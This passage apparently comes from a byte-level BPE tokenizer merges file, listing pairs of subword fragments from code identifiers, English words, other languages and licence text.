ers +ан нÑĭ +Doc uments +) ])Ċ +ust ed +ĠLine arLayout +os o +_E M +.s elf +.M iddle +) // +Ġ\ ' +Ġfuck ed +ĠM urray +Ġprof ound +_E LEMENT +ult a +il ers +port folio +J une +t cp +mod ified +ĠTr ace +ĠK el +aly zer +) => +ĠRep air +_B E +Br and +u art +pre view +Ġiniti atives +run ning +b ang +ĉ update +ĠCo ach +R ich +Ġy outube +Ġrit ual +app a +ĠRobin son +prec ision +//////////////////////////////////////////////////////////////// //////////// +=[ ]Ċ +Ġcelebr ated +OT O +Ġin clusion +J P +' ;čĊčĊ +Ġnot able +(_ . +Man aged +Ġgu ides +& nbsp +ated Route +ĠAd just +Ġcol ored +_s cores +ĠTes la +_pro gress +.in st +[' _ +.fl ags +Ġf close +_O PER +ż y +_n ote +Ġtrans gender +å ķ +RI PT +Ġabs ent +Ġam et +Ġoper and +ë © +Ġh ood +to LowerCase +av o +ĠCirc uit +ĠL ind +-- }}Ċ += m +Ġsup press +ĠM AP +i ang +- admin +Ġside bar +ĠB u +ĠH ex +, F +ĠSign al +Ġtrans parency +ĠFeder ation +/ V +Re q +Ġpul se +Ġt ends +Num bers +% ' +Ġde port +dat as +_U INT +_ tra +ok o +Ġ" ? +comp et +sole te +und ry +Ġover lap +}` ,Ċ +. ly +_sum mary +ĠL ost +.C enter +Ġdis ability +.Serial ization +Ġge om +Ġ? : +ĠW o +Ġsh ipped +Ĥ æķ° +Ġu gly +Ġexcit ement +Ġext erior +Ġcheck out +Ġk ur +, D +ĠAl aska +Ġsyn thetic +ĠB udget +ĠSub scribe +Ġ& Ċ +ÈĻ i +ĠY u +ĉ query +} .Ċ +Ġtr aged +ass en +Ġaccommod ation +Ġphys ician +Ġren amed +Ġtid ak +z Äħ +Ġmin us +ny ch +_EX CEPTION +thread s +Ġt ire +_c reated +ens ure +Ġworth y +Ġexc use +Ġclo th +.parent Node +/pl atform +ĠU FC +ĠG tk +un ny +Ġg ibt +ke ley +h um +(t x +ĉ dev +Ġout fit +do ors +Ġf on +ic ut +vol atile +Ġhom osex +Max imum +Ġexp end +Ġ});ĊĊ Ċ +E q +ond ers +dep artment +ĠPhys ics +" });Ċ +Ġpar ad +.S tr +Ġse le +IF IED +Ġdel ivers +iv an +Ġrespons ibilities +Ġadvoc ates +è µ +ĠR ID +.param eters +M etrics +ron ics +ĠUITableView Cell +A bsolute +ip se +yl um +MLE lement +_VAL ID +< title +D lg +p aces +Ġsynd rome +be ans +_d atabase +oz illa +ĠM eg +DB G +Ġl ub +Bag Constraints +ab ad +Ġproject ed +_BY TE +.Size F +st reet +ĊĊĊĊ ĊĊĊĊĊĊ +ĠLO SS +Ġdirect ors +/ news +Ġnurs ing +ĠD one +. HTTP +dis count +ĠR ot +To Many +Ġen abling +Ġauss i +ost a +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ čĊ +è½ ½ +Ġhel icopt +ĠIn side +ä¿¡ æģ¯ +is per +ĠAll ah +ARCH AR +Ġroll s +Com pare +X P +Index Of +S UM +Ġass ured +ĠPhys ical +End point +.G lobal +.d etail +Ġthe ft +.j upiter +Ġhum or +.R ender +A lex +.c ap +Ġbuff ers +Ġdis pose +t ion +.p resent +z el +, P +Ġdesper ate +.get Column +Ġtw in +ì ĸ +.c an +Ġf lee +ĠIran ian +Ġstick y +ĠU TC +L T +//////////////////////////////// //////////////// +Ġl icensing +_PO INT +ĠM aps +Ġl ol += models +-t ab +ĠN ash +_log ger +tor ch +ĠCON SEQUENTIAL +Not Empty +/ react +Ġp f +Ġassert ion +Ġsubsequ ently +_c an +Ġpand emic +og ue +"+ Ċ +_ ent +_P aram +.ĊĊ ĊĊĊĊĊĊ +Res earch +C apture +Ġbel oved +d em +Ġextract ed +Ġf ights +ER C +(a uth +position s +Ġrevers ed +(st ack +Ġ_ ) +uto ff +_fl ow +ç Ĥ¹ +( Game +Ġex cluded +ĠCS V +c g +ĠT itan +p ause +Ġcer ca +Ġdump ster +L ess +Ġkotlin x +aster xml +Ġpoint ers +Ġfl ows +ĠT un +ĠMain Activity +Ġdis cret +Ġcomb inations +vis it +_b ind +oot ing +d ater +_look up +.n io +Ġswe at +ĠR d +Ġscient ist +ĠP ixel +@ NgModule +Play ing +Ġunf old +Trans late +ĠLaw rence +ĠFIX ME +B ill +ĠR IGHT +Ġwhere ver +Ġo ok +vid ence +Ġ] ]; +ĠSk ill +unist d +ĠðŁ ĻĤ +Ġfem ales +-- )Ċ +İ· åıĸ +ĠF red +Over all +Ù Ĥ +Ġess ence +Ġthere by +Ġw ounded +ĠD OWN +les son +text ure +R ound +Ġautom ated +ĠÐ ¡ +ĠUp dates +Ġsh ade +p ublish +ĠG ear += lambda +Ġle ver +) +" +h ill +Ġrad ar +ry ing +Ġ" ). +f illed +Ġline up +Ġd l +Ġworks pace +V o +_d t +ë ² +_ Item +NS URL +. verify +ĠHawai i +G od +M arch +Ġ[â̦ ] +Ġpel o +ur ious +ĠPitt sburgh +. It +C lean +> \<^ +Ġi os +s ound +"] ; +Ġfre ed +rot tle +ĠL ower +[ count +å Ŀ +Ġp ale +ĠWay ne +ear th +_c ategories +U CK +.m etadata +Ġsum mon +H OME +олÑĮ з +Ġmanufact ured +Ġdo ck +Ġcompet itors +_MODE L +ok ia +ĠH ey +Î ¿ +Ġback ward +ĠPO SS +rop a +Ġc ri +_O BJ +Trans port +-h igh +Ġerot ik +_s lot +Ġart ic +_f ramework +-ser if +ĠSql DbType +') ( ++ "/ +Ġw ore +S il +Ġst oring +ĠPh ase +u ant +Ġb ump +in ho +Ġd ign +Ġback s +q q +(h ash +Ġge o +Ġt ender +Log o +! )Ċ +ĠM X +ĠAr thur +esso a +_C h +Ġbed rooms +="# ">< +Ġth roat +ins ic +.int eger +Ġpr imitive +Truth y +Ġfacilit ate +Ġcreat ivity +ĠD NS +Ġg ra +ue z +Ġcount less +ĠPol and +' M +ĠD ist +Ġv est +Ġcert ification +á» ij +h eld +ext ensions +( static +Ġgr ades +ĠU ber +ãģ Ł +Ġ[ ])Ċ +dat os +Ġget Data +ĠCh arg +ĠB S +.m icrosoft +.v ideo +.d irection +->{ ' +l ua +ape st +Ġbo iler +ere k +Ġdec ides +.j ar +IS C +ĠW ords +(C ON +EMPL ATE +ree ze +sh ots +app s +unt ed +.set Name +:: < +-b old +ê ² +å¯ Ĩ +Long rightarrow +Ġunf air +Ġear ning +Ġsh elf +URE MENT +Ġid le +_M ENU +.C ustom +AG ER +- " +_s witch +b ecause +) view +m are +_ condition +ĠStart ing +M vc +(p re +d ump +_LO CK +at etime +.c allback +ĠC er +op ol +ib rary +Ġres ervation +ĉĉĉĉĉĉĉ Ċ +lect or +grad uate +Ġgener ous +Ġ ion +ric ao +m q +_com plete +(c ursor +ĠForm Control +: center +Ġsub stitute +ĠPl anning +Ġp ension +Ġrecommend ation +ĠT ags +Ġg ef +Ġalbum s +Ġwash ing +ro c +Ġtr ains +at ings +Ġex ponent +ack bar +- ln +á g +.Data Annotations +ĠE IF +ĠMalays ia +ĉ PORT +on us +Ġcle ver +Ġpe u +> ĊĊĊĊ +ĠArg uments +Ġdebug ging +( right +' D +com pute +Ġfin est +OR AGE +Ġspect acular +ph rase +Ġind ia +Ġlegend ary +b irth +Ġcom posite +Ġg rows +ĠT D +Ġep id +Ġlaunch ing +] ][ +Min utes +ĠCh a +Ġclean ed +Ġwitness es +uk an +ĉ Type +Ġhab e +par agraph +ĠJ Panel +ĠH ann +Ġvar ied +ĠP okemon +ĠM UST +åĬ ¨ +.vis ibility +op up +^ [ +.exp and +Ġ" ', +.f asterxml +_ auto +ĠShe et +mark er +Par cel +ew s +ĠStr ategy +-m aking +Ġun ve +Ġtrail ing +Ġclick s +ĠGet Component +ĉ content +IG ENCE +ERN EL +NSMutable Array +Ġb reat +Ġharm ful +¶ Ī +Ġbes ides +Ġb oring +Ġbrut al +v ang +(p arse +qu ick +Ġpy test +Ġswitch ing +() ]Ċ +Ġì Ħ +L ER +ĉf ont +Ġnet t +) ]ĊĊ +(/ \ +æŀ ľ +to Array +Ġbre ed +ĠC AR +ĠWe apon +A bs +t ot +Ġset Name +apt ive +Ġ: , +Ġesc aped +ord en +ĠP ri +th umbnail +Ġdescri ptions +/ styles +ĠPC I +Ġal phabet +astic search +NOT E +Ġc ialis +ĠGr iff +Ġpor que +Ġprote ins +pl ays +Ġst ating +Ġimag ination +Ġfac ial +ĠMe chan +Ġarr anged +_ used +Ġarrang ements +ĠP ipe +host name +Ġprov inc +T it +.Flat Style +ĠS plit +ĠLo ader +.c c +Ġclin ic +---------------- ------------ +Ġb aking +ĠEN T +ne ath +ãĢģ ĊĊ +AN E +.EntityFramework Core +app ers +. ic +ĠNg Module +ĠF ORM +Ġ' ; +-pro fit +h w +en emy +ĠE ye +Ġca ution +t own +Ġur ged +ĠJim my +ynchron ous +-s ized +m aking +, { +] ', +_ Object +ah oma +Ġactiv ist +IN VAL +ĠCom mercial +ĠOr lando +(t ab +ĠØ ¨ +Al gorithm +Ġher itage +Get Mapping +Ġfail ures +ri os +at iva +Ġt et +Ġcar pet +( Z +th ree +Ġdisc losure +. ERROR +_c alled +Ġd ial +Ġoccas ional +.E rr +Ġfunc ion +caff old +Ġrele asing +ï¼ī ĊĊ +_ Value +ĠV ari +y ellow +Ġstrugg les +.c al +ĠDak ota +ĉc lose +Ġsand wich +Ġanaly tics +Ġ** ) +& # +ĠJ os +Ġpass ive +AT TR +Th rowable +ĠM un +ĠU int +(dis posing +ar ak +ĠLe aders +Ġaffect ing +Ġitem View +Ġeconom ics +f v +à¹ Ģ +.r b +ĠOver all +Ġwealth y +Ġev olved +nd a +ĠH us +re strict +um en +ĠA gricult +! ĊĊĊ +Ġexp ires +Ġspokes person +int erval +Ġà ¢ +Ġque en +(n il +ing o +He ap +Ù İ +Ġcompl ain +S ym +ĠCl one +ĠR u +ĠW ILL +ĠCr ystal +/ content +ing en +oint ment +Last Name +av icon +ĠIB M +ĠDim ension +an h +icip ants +ĠAn ne +.pro gress +Ġal go +ob il +ĠV oice +ĠF E +Ġg li +Ġv ed +Ġprevent s +\ Column +Ġfol k +ett i +Ġm n +ĠCL ASS +Ġdisplay ing +ĠK l +ĠF err +d uto +. ib +Ġd ados +' name +-s pace +Ġit alian +Ġin verse +Ġd ense +ut er +ĠI Enumerator +-s ign +Ġnation wide +Ġperson a +Ġsol ved +Ġdram atically +Log out +Ġgr av +Ġanalys es +ol lo +Ġl amp +. team +ĠE rot += [" +Ġd ancing +Ġ?> / +Ġc ater +ff e +ĠSh a +ĠB os +ĠRE QUIRE +ĠMon ster +ĠR B +ĠI DE +Ġsu its +Ġform Data +( theta +Ġsp atial += NULL +ĠSql Connection +Ġ à +ĠV enez +ĠMor ning +Ġpublic ations +ĠNON INFRINGEMENT +first Name +ud s +W ould +_HE AD +Ġinvest ed +st able +f red +Ġcommand er +SE S +âĢĶ a +an che +ĠM ovement +ë ³ +S uite +Ġjur isdiction +ë¦ ¬ +ĠB eth +j Query +ĠIs a +Ġd ental +, * +ĠL imit +ili ation +=" { +b ast +Ġt urb +is y +O OK +Ġadvoc ate +im ag +LE CTION +л ÑĮ +(c ategory +.de c +Ġun iqu +_s n +Ġattract ed +Ġà ī +ĠRun ning +_ edges +ĠDis able +_A S +åĽ ¾ +Ġnetwork ing +_br anch +H aving +toBe Truthy +G I +Ġcamp s +se p +-p art +Ġ)ĊĊ ĊĊĊĊĊĊ +ustral ia +ĠRe ports +rit o +Ġwa ist +_pl us +ĠW W +-p erson +Apr il +Ġs ar +.t ar +Ġagricult ural +t ic +Ġt cp +Ġset Value +agent o +ĠAp pe +p iler +CA DE +Ġan che +atch er +Ġcom ics +Ġl bs +_se gment +'] =$ +itt ers +ich er +G INE +Ġutil ize +ĠC ursor +_ex pression +Ġd ag +< long +Ġr hyth +æı IJ +Ġconsult ation +Y et +")) ĊĊ +_M AC +c ould +Ġ' \\ +ĠV o +ĉ http +Ġg s +ph er +- grid +J ames +J ul +Ġsch on +Ġtensor flow +ĠLOG GER +am as +Ġsc ipy +Ġconv iction +. ag +Ġadministr ator +)) {čĊ +Ġn un +" group +P or +Ġnur se +ex pression +ak y +ĠHe avy +. opt +.get All +Ġover l +/ ", +_c ountry +ç İ +ĠG ENER +_r oute +ĠD al + ´ +ol oad +Ġuncomfort able +(m enu +Ġhost name +' ");Ċ +Ġcalcul ations +-c lick +Ġprotect ive +ãĤ ¯ +_F orm +ung s +Act ual +m f +ĠProcess ing +ĠIn ventory +(m atrix +app ropriate +w eg +ij a +Ġch r +Ġr ifle +-w sj +k ar +Ġindepend ently +I OS +Ġconsist ency +v n +/s ystem +ĠCh anges +Ġexp ose +ici ents +Ġrel ate +ĉ next +è ¨ +ud es +Ġglass es +F XML +.... .. +ĠP df +Ġappro ve +Ġ{ \ +Ġexist e +)) ( +ARE NT +оР¿ +ĠL atest +ĠNiger ia +.Inter faces +Ġrem oves +En emy +Ġen force +vert s +ĉ pos +_text ure +W ARD +ĠINC IDENT +( container +Ġdef ending +ĠR X +ĠH ook +br is +ĠFl ask +Gr ay +. )Ċ +vis ibility +ĠRedirectTo Action +err al +_e lem +Ġres on +front end +_variable s +ater ia +Ġ+ " +ave led +RI X +Ġdef icit +_C heck +YY YY +To One +sp y +Ġun ited +end ent +Ġp ode +ãģ Į +C AT +(f mt +ĠBon us +Ġre ck + º +Mod ules +Ġvac uum +R adio +ĠDAM AGE +P en +ĠPark er +; ;Ċ +ĠRe ally +_n eg +p ending +Ġnomine e +ĠC ategories +ĠUl tra +We apon +Ġdef ender +I ss +ĠG ender +ĠD ress +Ġimpr ison +Ġbank rupt +imension al +PH A +ĠStr ateg +ĠPROF ITS +Ġp atri +//////////////////////////////////////////////////////////////// //////////////// +de legate +Ġfor State +Ġdev oted +_m ake +Ġterror ists +ĠS nap +_n av +ĠA A +ĠI an +ĉ app +Pl acement +_h dr +< K +Ġs ang +st roke +- Q +> x +.T ask +m oney +ib aba +' });Ċ +ĠSpec ific +ĠLine ar +_O PT +Hash Code +( Player +.Contains Key +Ġcoll apsed +trans parent +_R ANGE +View er +(c fg +Ġsort ing +Ġinf ected +ĠN ach +Ġaccommod ate +.element s +_P ART +ĠSex y += get +( year +Ġx hr +: ] +ows ki +Ġsum mar +Ġ ¿ +Ġint e +Ġwork flow +ĠTai wan +vers ions +åı ij +Ġsurprising ly +Ġopt ical +Ġpro ces +Ġdisag ree +Ġnue vo +ĠC AM +sort ed +le ases +ist le +Id ent +ĉ event +ject ed +Ch unk +V ars +.pro vider +Ġproceed ings +Ġin clusive +Ġart work +end ants +ï¼ļ Ċ +se en +Ġl ig +Ġm akers +_f un +Ġlength s +Path Variable +[ item +ภµ +De ad +FFFF FF +ĠUr ban +up les +ich en +(null ptr +.s pec +, System +UR ATION +(j ob +å¼ ı +Ġtrack er +Å Ļ +ĠM R +ĠSQL ite +Ġd to +Ġ; ;Ċ +Ġm int +ĠInt roduction +ca o +Ġquestion ed +Ġf itted +rev ision +s q +Ġm ig +_un its +_ async +Ġf lick +});ĊĊ Ċ +Ġnot re +}` , +F ilters +Ġm undo +_d ays +Ġfr m +ut c +Ġval s +ew idth +ĠGener ator +ĠArt ist +ĠID s +ĠArt icles +re ater +ĠComponent Fixture +. = +Ġr ou +- no +.b ukkit +eg g +ĠD iff +atic s +Ñĥ Ñĩ +âĢĶ ĊĊ +ĠChar lotte +by e +Ġ} );čĊčĊ +ĠV ik +ĠB row +Ġl v +ĠG ib +-w ing +GL IGENCE +(I l +ĠEngine er +.W ait +ĠP ictures +Ġr het +Ġth ermal +Ġpr aise +< >();ĊĊ +ĠSp ider +P ause +ĠB aker +Ġsl ower +Ġ} ]Ċ +_en queue +Ġdisappe ared +ĠT icket +IN UX +_LOC AL +аÑģ Ñģ +@Inject able +comm unity +Gesture Recognizer +åĽ ½ +Ġsca les +Ġ- ( +/ '+ +ĠS it +Ġexecut ives +ard ing +Ġad vers +Ġback wards +ĉ context +ĠH amp +ĠP F +ĠDe ck +ĠCra ig +A merican +Ġb ell +Ġpro l +uf en +Ġr ng +ar shal +ĠSim ply +first name +sh ore +J uly +Ġmort ality +ĠâĨĴ ĊĊ +Help ers +Ġbench mark +em ade +Ġorganis ations +.g son +ĠText Field +Ġciv ilians +.Array s +ĠMiss issippi +Ġinter mediate +get User +_cl uster +Rel ative +fore ign +.querySelector All +Fore ignKey +Ġreason ably +-------- -Ċ +C ards +ĠK am +ĠTh or +Ġroll er +-e lement +ĠC urrency +dd ie +ALL Y +ĠR A +Ġper met +aa aa +Ġhom ework +ĠV it +Ġm old +ĠF er +[ start +Ġstatist ical +Ġsc ary +_H OME +.B egin +Con struct +ogen ic +ĠDEAL INGS +Ġtamb ién +ix on +. ind +ac re +Ġtransform s +ĠN ap +.B lock +uss ia +pir ation +ul ent +Ġce il +Cl ause +na ire +T ES +Ġne at +ST D +ĠReg Exp +per form +: ) +Ġun ions +Ġs ublic +Ġw inds +lo ating +g lich +Ġp agination +S kill +App ly +ĠOper ator +ist ogram +Ġqual ities +C ross +Ġde com +], " +ĠJ uan +.mod al +.Ch ild +ĠRog er +STIT UTE +:CGRect Make +a lette +Ġst a +as ide +Ġbl ur +ĠW a +if etime +re ed +control s +Ġb ins +Ġп ол +*/ ,Ċ +U IS +ĠR ou +ĠDem o +- awesome +ĠCh ain +Ġh asta +ĠB art +. KEY +Ġvend ors +nof ollow +ĠD est +_b uilder +Ġarg ues +_ answer +g oto +ĠRES ULT +ĠM ON +Ġp oder +o ons +_C ASE +Ġrep lic +Ġfin ancing +ĠD ATE +c ern +_tr ack +t ies +/ logo +ĠNE GLIGENCE +get Type +> T +b et +g irl +ĠINCIDENT AL +-s ite +.tr igger +ĠL isa +_input s +Ġrel atives +Logged In +Config ure +I K +. accept +Res ume +ĠD raft +Ġ* >( +ĠW A +ed ian +ern ess +ĠLayout Inflater +*/ čĊčĊ +oth y +Ġoblig ation +Sub scribe +Ġth umbnail +ex ist +Ġins isted +ĠU ICollectionView +ĠAng ular +Ġtable ts +ĠImp act +ãĢį ĊĊ +ah o +Ġcharacter istic +g d +Ġ= ================================================ +our t +` . +App ro +Co ordinate +Rem ember +Ġmar ine +] ==' +ĠAdmin istrator +.get Default +Ġforg ot +ĠStruct ure +V ue +ars ing +m oment +k w +_c ursor +Att ack +Ġath letic +Ġdiagn osed +Ġend e +åĪ łéϤ +H ouse +ĠP ARAM +Ġw iki +ĠO pp +Ġcons ervation +Ġs nd +_t em +sub str +ĠC ape +.s im +UT ION +an an +âĢĻ un +Ġg y +- work +Ġcomp elling +=' # +ĉs ub +Ġdirect ories +íĬ ¸ +Ġtouch es +out ines +.C ollection +s chedule +.l at +ĠDo ctrine +CA A +ĠRe fer +Ġshift s +Ġlik elihood +pre ter +ĠF emale +Ġinter cept +Ġl ou +çĻ » +Ġr ug +ĠC rown +Ġ************************************************************************ **** +- product +Ġprompt ed +ung le +d ocker +ĠT u +ĠUn ique +_ Error +ul os +Ġâ Ħ +Ġ( ` +Get ting +_s cal +ĠEn h +ü t +Ġsust ained +Ġp atches +Ġpros per +ĠG aza +_l ight +Ġin cons +-------- Ċ +ĉĉ ĠĠĠĠĠĠ +S F +C N +: ";Ċ +ĠColl ins +( *) +Ġcomp ilation +'] čĊ +Ġcon sequence +, ... +Ġd m +ĠB LOCK +Cl uster +Ġsk i +(arg c +T uple +Ġjo ins +ĠSher iff +W ar +ind i +Ġcomment ed +H OST +Ġinv itation +apan ese +Ġperm its +preced ented +_z one +ĠA my +_R D +Min imum +Ġinv ocation +.en able +icht en +- owned +" id +_PO INTER +F ac +Ġspecific ations +Ġnom ination +Ġg p +< ( +Ġrob ots +ĠJ erry +Ġhold ers +Ġw and +c ms +Ġ} ))Ċ +.To ast +ĠI List +B ased +z oom +/ style +ĠBe ck +M en +Ġcontrib uting +Ġund o +ĠO H +Ġadd Object +Ġe igen +sign up +éĶ Ļ +Ġdist ant +PAR ATOR +ĠM ari +Ġm á +E mp +ó s +Ġì Īĺ +ev t ++ j +p ark +ĠSt ay +ĠD un +Ġso y +> % +az ines +Ġti empo +(m e +p resent +.Th is +Ġedit ors +F IELD +.W ork +ĠUn iverse +Ġdr unk +.t imer +Ġalter ed +ĠN ar +ëł ¥ +.Act ive +id or +ç Ń +.delta Time +Ġawk ward +& quot +ĠSaf ari +Ġtr icks +MENT S +div ision +Ġvary ing +ĠHigh way +Ġphotograph er +ĠSt ewart +Ġlast ing +.P re +.amazon aws +ĠL uck +.D escription +ĠN az +n eg +Ġc ó +<<" \ +ĠSur v +ĠU nc +Rec ipe +.Border Style +Ġmod ifications +- at +AT FORM +h dr +ak o +Ġsublic ense +ĠJ ump +Ġbe im +ĠMan hattan +. bool +_h w +ÑĤ ÑĮ +B in +Ġg ateway +" ": +ĠU IS +:" + +- def +ĠReg ular +/ testing +ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ ĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠĠ +string stream +Ġdis par +Ġmob il +- read +ĠAd apter +ĠCh ampions +Ġsched uler +Ġk ills +ĠM ultiple +ir ror +Ġgod s +AD O +ak te +ĠUs uario +.c ircular +Ġre cept +ĠEx pr +Ġelder ly +Ġnic ely +Ġbest e +W ant +Ġclass ical +.s prite +obj c +ĠM ason +Ġsist ema +.Bl ack +es o +ĠZe it +Ġdiv id +Ġent ers +_sub ject +ĠPlan et +.w arning +ĠG ram +_t okens +Ġhousehold s +_c ustomer +user Name +c ross +Ġp ione +Ġass ists +_S M +ib o +Ġlo yal +Ġuse less +# elif +ĠUlt imate +C ome +g el +Ġd ich +xy z +ik el +ob ra +_s can +ĠInter ior +ĠN ice +Ġpl ac +ĉt arget +Ġvir al +ass o +() / +und e +ĠAd obe +O s +vis ited +ĠO W +ĠFe ed +ĠSe quence +Ġman ages +in son +ĠLouis iana +{ }) +ĠH ab +ĠL D +Ġb ip +pr ites +(e lem +.h ibernate +él é +Ġoh ne +_trans action +Ġann unci +P ublished +ĠH onda +ĠT am +ĠP acket +_ selector +Ġchalleng ed +Process ing +-h over +Ġtr ainer +_c ancel +ĠNS Dictionary +ab ric +ĠM LS +_s ensor +Ġshr ink +ĠF X +th reshold +ĉH X +-m ark +` .` +S cheme +(f ull +_w riter +ĠS ys +Ġf led +ĠC in +-w idget +ĠPre vious +G ender +_ question +Fe ed +Ġscr ut +(p refix +ãĢĤ ãĢĤ +Ġin fections +Part s +Ġhier archy +_DE LETE +ĠPat ient +_p ay +Ġprom oted +Ġì ĭ +Ġcivil ian +Ġagricult ure +ĠP iece +Ġst ance +uts che +Ass ign +.A CTION +F ig +_r adius +ĠS ync +du cer +f ailure +ens ed +pt ime +B M +_dat etime +qu ivo +QUE UE +èĢ ħ +Ap pear +Ġsum mit +: void +Ġv ine +è® ¤ +on ne +_TR ANS +.g reen +_ cc +Ġhung ry +Ġ" > +() );čĊčĊ +Ex tract +iz ens +Ġsol ver +Not ify +Ġeng lish +ĠSh opping +inter faces +RE Q +Ġil leg +ĠUI ImageView +Ġdis connect +ĠUnt il +ĠConserv ative +@ Column +Ġshift ed +Ġ: čĊ +Ġf ich +Ġd la +Ġsh oe +"), čĊ +ular ity +_RE SP +We ather +UI Application +. iterator +Ġag ing +.P arent +ow ie +(e qual +ĠCon v +/ default +Ġmeas uring +.pre v +.Is Valid +.F at +Ġs Äĥ +key words +with out +Ġso vere +Ġex changes +Ġm elt +Ġis lands +ĠInt egr +Ġjump ing +Ġg le +Ġjournal ism +Ġd ated +Local ized +ĠRef resh +Part icle +Ġa a +ĠSTR ICT +Ġb od +.Pro cess +_A UTO +ĠP ublished +e very +Ġtechn ological +ls x +Ġir rit +Add itional +Ġdel imiter +_l anguage +- area +bo ys +ĠT ube +Ġw at +Ġmechan ics +_ owner +Sp ell +ĠSt ories +.Append Line +Table View +h em +st ick +oll ower +I FF +ĠU V +oll ision +S UB +Ġcompar able +Ġdon de +s ales +ll vm +Ġ} ],Ċ +OTT OM +ĠPur pose +L ab +Ġinterview ed +o is +as il +.set Id +ĠIn struction +-- > +ĠMod ified +ation ally +ĠMe eting +è¯ ¯ +# region +Ġrout ing +.f ocus +ĠYou th +< D +ĠN ag +contact s +Ġform ing +Ġm ie +',[' ../ +ĠB P +Ġapp et +ĠTe acher +ĠT P +Ġann ually +outed EventArgs +ĠSpe aker +Ġre name +CF G +(" // +æİ ¥ +/p ages +Ġpr és +ĠSp ell +.All ow +ĠINT ERRU +Ġ( # +âĢĻ ĊĊ +_G eneric +.im show +_t im +- face +(& ( +atin um +Ġrevolution ary +ĠH ours +r ain +Ġany time +Ġab b +.j sp +Scroll View +ĠTr uth +Ġanticip ated +Ġacc ent +. checked +Ġspec ifies +Ġca f +Ġcell padding +Ġcook ed +ĠH ugh +pe ek +_R ATE +Ġd orm +/ čĊ +IV ITY +.Cont roller +(p art +.con straint +Ġinv asion +MO VE +Ġgl uc +l ename +Ġam en +eng lish +ĠSw itzerland +";ĊĊ Ċ +pe st +.col lect +N ib +ĠD ict +ĠE mb +(sub ject +Ġoutr age +Ġdec iding +Ġsent enced +F echa +" A +Ġqu er +Ġfont Family +Ġqu adr +- Y +_C ACHE +Ġanaly zed +Ġg aining +ĠAgain st +ĠSou l +ta u +Ġlight weight +ĠT F +ĠEffect s +.T ypes +.add Class +Ġv egan +é ģ +.' " +ĠExpl orer +.d etect +.sh ift +Ġoblig ations +last Name +Ġassoci ations +ĠTime Span +un ter +ĠF resh +Compat ible +P ub +id ges +. option +var i +.hash Code +Ġg eb +. section +- not +ĠSub mit +T N +reg istry +_m edia +Ġn aj +ff t +Ġm ate +-th ird +Ġp ockets +est a +Ġb ent +ĠN ord +Ġretail ers +ĠMor ris +."" "ĊĊ +W rong +Ġ ÅĽ +R ay +. ec +ĠB ind +_H AND +(n on +is Valid +Ġsimilar ly +_L IMIT +Ġdynam ics +Ġdist inction +ãģ Ĩ +< N +Ġor th +ĠToy ota +ĠK ate +ĠL S +or ie +ĠSpr ings +Ġf reak +last name +_M ULT +-st ep +" ( +AD DR +Ġentert aining +_CON F +Ġdec oded +Ġst reak +Ġwait ed +Ġnot ified +rodu ced +vis ual +.Layout Params +æ ° +es ian +f its +s pring +ĠBern ie +User Defaults +Ġped est +Ap pearance +ĠW iki +ĠNOT ICE +Ġs sh +Ġdur ante +ĠZ ip +ı r +ĠNAT O +Ġtw elve +Ġro yal +ï ¸ +Ġmer chant +ĠF urniture +'] ),Ċ +, X +Ġfold ers +ĠG ate +ĉf unc +p ick +_us uario +ĠV erm +ment ion +ur pose +Ġalert s +x ious +_s ig +ĠF u +Ġ( : +Ġd umb +åħ ³ +Ġaccur ately +éĩ į +R B +-s creen +ĠV ER +j our +Ġrom ance +uc ceed +. choice +Ġad ip +_d ims +Serial izable +ãĤ ĭ +.j ob +Ġpro g +uch ar +Ġg ently +ĠR SS +ict ured +_ENABLE D +ĉ label +aw ks +ĠEn sure +rem ember +ìł ķ +Ġtrans mit +{{ $ +.Trans action +ur se +_rel ative +Ġs ized +ĠX X +ĠPr incess +ĠL arry +Ġpr ó +ĠÑģÑĤ ÑĢ +Ġs isters +estr uct +Ġcheck point +: length +ĠCar los +/ icon +_T ARGET +T okens +Ġpat ience +ĠSe lected +q ty +.show Message +Ġwild life +ĠP rops +b m +- arrow +Ġpar cel +fire base +ĠBen jamin +cess o +.t im +ĠG arc +. any +ĠHOW EVER +ĠK o +Ġgrab bed +_f rames +Ġobject AtIndex +ĠADV ISED +Ġsub ur +ĉ GL +Ġ}) }Ċ +-l ength +ìĭ ľ +ĠPot ter +_b uff +.g ui +ĠEnc oding +E lect +-m essage +Ġ � +Ġ ÈĻi +ĠArgument NullException +а ÑĨи +Ġmin imize +Ġrespond ing +$_ [' +ĠInd ividual +á c +ĠIN TER +Ġmast urb +ĠB in +(' $ +ëĵ ľ +Ġopen ly +Ġ> < +Ġun to +olog ically +ĠM ul +VID IA +Ġsl im +ĠCommission er +( on +Ġunder neath +/ db +v ote +( Message +ĠP ope +Def ined +Ġsw ift +ur f +Ġadapt ed +SE L +Ġreven ues +Ġdiv ine += y +Grad ient +_ act +Ġ/*! < +Ġpoly gon +ĠF DA +ĠC arr +at ables +(std out +Ġrefr iger +Ġco ordin +avor ites +ÑĪ Ð¸ +Ġcompass ion +ĠPOSS IBILITY +- secondary +ur acy +Ġcomp romise +_A V +_ os +Ġbes ide +ĥ Ŀ +Ġl n +.pl ugins +Cap acity +al ah +.b in +ĠC RC +_b alance +Ġflex Direction +Ġam bit +Ġnick name +ĠFor ces +C LE +ĠSh ell +Ġs ail +ĠW riter +ĠA lice +d w +ĠInd ians +ĠMar shall +_S RC +Ġnormal ized +ĠJ ag +ãĤ Ĵ +ze it +r pc +ÃŃ c +.in line +Ġtrav ers +_n umeric +Ġutil ities +Ġev ac +IN PUT +ĉ register +M X +ĠCamp bell +Ġdatas ets +Ġdem anded +Ġinitial State +g an +Ġe i +Un expected +- web +tr ait +, Y +ĠT odd +Ġske leton +Ġoptim ize +ç¬ ¬ +ĠU pon +ĠSt Object +Ġap lic +.' P +v ron +. UN +Ġpaint er +izar re +Ġl av +Ġp om +p reg += function +( serial +ific a +um ing +åľ ° +ãģ Ĥ +- op +U CH +ĠH end +.prop Types +Ġy o +Ġrout ines +Ġcar ing +S em +Ġres erves +Ġprior ities +red its +IST R +Content Type +ĠSch w +/ media +Ġe str +Ġclim bing +- week +cher che +s ensor +To Array +ĠMont real +Ġcloud s +ĠInject able +ĠR ice +Ġpropag anda +_pro vider +Ġind oor +Ġin aug +Ġdipl om +Ġmess aging +_m ut +å ¦Ĥ +Ġk w +ON S +ari ans +R PC +) ]čĊ 